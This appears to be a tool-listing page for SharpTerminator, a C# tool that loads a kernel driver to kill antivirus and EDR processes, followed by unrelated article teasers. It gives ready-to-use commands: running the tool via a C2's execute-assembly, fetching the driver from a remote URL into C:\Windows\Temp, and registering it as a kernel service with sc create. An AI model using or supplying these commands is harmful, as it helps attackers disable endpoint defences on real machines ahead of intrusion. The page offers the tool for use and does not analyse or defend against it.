C# port of ZeroMemoryEx’s Terminator, so all hail goes to him.
You can download the driver from a remote URL using SharpTerminator and load it to terminate AV/EDR processes, or you can directly load it to the disk to perform the same operation.
When using Remote URL, the driver is downloaded to “C:\Windows\Temp” and then loaded from there.
In fact, there is no difference between them; if you don’t want to use the upload function in your C2, you can use the other one.
Loading from remote url:
execute-assembly SharpTerminator.exe --url "http://remoteurl.com:80/Terminator.sys"
Loading from disk:
execute-assembly SharpTerminator.exe --disk "C:\path\to\driver\Terminator.sys"
If you get “Failed to register the process in the trusted list!” error you should add service manually:
sc create Terminator binPath= "C:\path\to\driver.sys" type= kernel start= demand
Pystinger is a Python-based tool that enables SOCKS4 proxying and port mapping through webshells. It…
Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…
Introduction When it comes to cybersecurity, speed and privacy are critical. Public vulnerability databases like…
If you are working with Linux or writing bash scripts, one of the most common…
What is a bash case statement? A bash case statement is a way to control…
Why Do We Check Files in Bash? When writing a Bash script, you often work…